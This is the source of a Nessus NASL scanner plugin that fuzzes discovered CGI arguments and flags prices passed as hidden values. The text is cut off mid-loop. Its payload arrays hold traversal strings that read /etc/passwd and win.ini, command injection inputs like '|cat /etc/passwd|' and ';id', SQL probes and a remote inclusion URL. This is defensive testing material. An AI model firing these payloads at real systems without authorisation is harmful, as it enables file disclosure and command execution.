# # TORTURECGIS # # # Written by Renaud Deraison # # # This plugin uses the data collected by webmirror.nasl to try # to supply bogus values in the remote CGIs. It's not very likely # to work, but it should simplify the work of a web auditor # # # THIS PLUGIN IS IN ITS ALPHA STAGE. # # See the Nessus Scripts License for details # if(description) { script_id(10672); script_version ("$Revision$"); name["english"] = "Unknown CGIs arguments torture"; name["francais"] = "Unknown CGIs arguments torture"; script_name(english:name["english"], francais:name["francais"]); desc["english"] = " This script 'tortures' the arguments of the remote CGIs by attempting to pass common CGI programming errors as arguments (../../etc/passwd et al.). *** IN NO WAY THIS SCRIPT IS AS GOOD AS A HUMAN BEING TO *** DO THIS KIND OF JOB Risk factor : From None to High"; script_description(english:desc["english"]); summary["english"] = "Tortures the arguments of the remote CGIs"; script_summary(english:summary["english"]); script_category(ACT_GATHER_INFO); script_copyright(english:"This script is Copyright (C) 2001 Renaud Deraison", francais:"Ce script est Copyright (C) 2001 Renaud Deraison"); family["english"] = "CGI abuses"; family["francais"] = "Abus de CGI"; script_family(english:family["english"], francais:family["francais"]); script_dependencie("find_service.nes", "httpver.nasl", "webmirror.nasl"); script_require_ports("Services/www", 80); script_timeout(360); exit(0); } include("http_func.inc"); include("http_keepalive.inc"); success = ""; pricereport = ""; function test(req, pattern) { local_var str, r; # display(req, "\n"); str = http_get(item:req, port:port); r = http_keepalive_send_recv(port:port, data:str); # display(r); if ( r == NULL ) exit(0); if(egrep(pattern:pattern, string:r)) { success = success + string("\n") + req; r = 0; } return(0); } port = get_kb_item("Services/www"); if(!port)port = 80; if(!get_port_state(port))exit(0); # The syntax is : # argument expected result #------------------------------# # Remote file listing (20pts) # #------------------------------# flaws[0]="/etc/passwd"; pat[0]="root:"; flaws[1]="../../../../../../../../etc/passwd"; pat[1]="root:"; flaws[2]="../../../../../../../../etc/passwd%00"; pat[2]="root:"; flaws[3]="../../../../../../../../etc/passwd%00.html"; pat[3]="root:"; flaws[4]="../../../../../../../../etc/passwd%00index.html"; pat[4]="root:"; flaws[5]="%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2Fetc%2Fpasswd"; pat[5]="root:"; # (this one is ../../../etc/passwd uuencoded - at least one cgi was vulnerable to this) flaws[6]="Li4vLi4vLi4vLi4vLi4vLi4vZXRjL3Bhc3N3ZAo="; pat[6]="root:"; flaws[7]="%60/etc/passwd%60"; pat[7]="root:"; flaws[8]=string("..\\..\\..\\..\\..\\..\\..\\..\\windows\\win.ini"); pat[8]="\[windows\]"; flaws[9]=string("..\\..\\..\\..\\..\\..\\..\\..\\winnt\\win.ini"); pat[9]="\[fonts\]"; flaws[10]="../../../../../../../../windows/win.ini"; pat[10]="\[windows\]"; flaws[11]="../../../../../../../../winnt/win.ini"; pat[11]="\[fonts\]"; #----------------------------# # Directory listing (10pts ) # #----------------------------# flaws[12]="/etc"; pat[12]="resolv\.conf"; flaws[13]="../../../../../../../../etc"; pat[13]="resolv\.conf"; flaws[14]="..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc"; pat[14]="resolv\.conf"; flaws[15]="%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2Fetc"; pat[15]="resolv\.conf"; flaws[16]="../../../../../../../winnt"; pat[16]="win\.ini"; flaws[17]="../../../../../../../windows"; pat[17]="win\.ini"; flaws[18]=string("..\\..\\..\\..\\..\\..\\..\\windows"); pat[18]="win\.ini"; flaws[19]=string("..\\..\\..\\..\\..\\..\\..\\winnt"); pat[19]="win\.ini"; #------------------------------# # Arbitrary commands (100 pts) # #------------------------------# flaws[20]="%0Acat%20/etc/passwd"; pat[20]="root:"; flaws[21]="|cat%20/etc/passwd|"; pat[21]="root:"; flaws[22]="x%0Acat%20/etc/passwd"; pat[22]="root:"; flaws[23]="%3Bid"; pat[23]="uid="; flaws[24]="|/bin/id"; pat[24]="uid="; flaws[25]="|/usr/bin/id"; pat[25]="uid="; flaws[26]="|id|"; pat[26]="uid="; flaws[27]="VALUE;/bin/id"; pat[27]="uid="; flaws[28]="VALUE;/usr/bin/id"; pat[28]="uid="; flaws[29]="VALUE%0Acat%20/etc/passwd"; pat[29]="uid="; flaws[30]="VALUE%20|%20dir"; pat[30]=""; # # SQL stuff # flaws[31]="whatever)"; pat[31]="PL/SQL"; flaws[32]="'"; pat[32]="MySQL query"; # # XSS (0pt) # flaws[33]=""; pat[33]=""; # # Code injection # flaws[34]="http://xxxxxxxxxxxx/"; pat[34]="http://xxxxxxxxxxxx//?[a-z,A-Z,0-9]"; cgis = get_kb_list(string("www/", port, "/cgis")); if(isnull(cgis))exit(0); cgis = make_list(cgis); foreach cgi (cgis) { cgi_name = ereg_replace(string:cgi, pattern:"(.*) - .*", replace:"\1"); cgi = cgi - cgi_name; cgi = cgi - string(" - "); num_args = 0; while(cgi) { args[num_args] = ereg_replace(string:cgi, pattern:"([^ ]*).*", replace:"\1"); if(!args[num_args]) { cgi = ""; } else { cgi = cgi - args[num_args]; cgi = cgi - " "; } str = string(args[num_args]); if(ereg(pattern:"^\[.*", string:str)) { tmp = string(ereg_replace(pattern:"^\[(.*)\]", string:str, replace:"\1")); vals[num_args - 1] = tmp; if(ereg(pattern:"[0-9]*\$[0-9]*", string:tmp)) { pricereport = string(pricereport, args[num_args - 1], " - ", tmp, "\n"); } } else { vals[num_args] = 0; num_args = num_args + 1; } } # # Some e-commerce sites have the prices of the items used as hidden values. # which is a big no-no # if(strlen(pricereport)) { report = string("The cgi '", cgi_name, "' seems to pass object prices as values for the following\n", "arguments :\n", pricereport, "\n", "If that proves to be exact, an attacker may use this flaw to buy goods on the remote site at\n", "the prices he choose.\n", "Solution : never rely on data passed by the client when writing a CGI\n", "Risk factor : High\n", "Note : this alert is very likely to be a false positive"); security_warning(port:port, data:report); } if(num_args) { for(i=0;i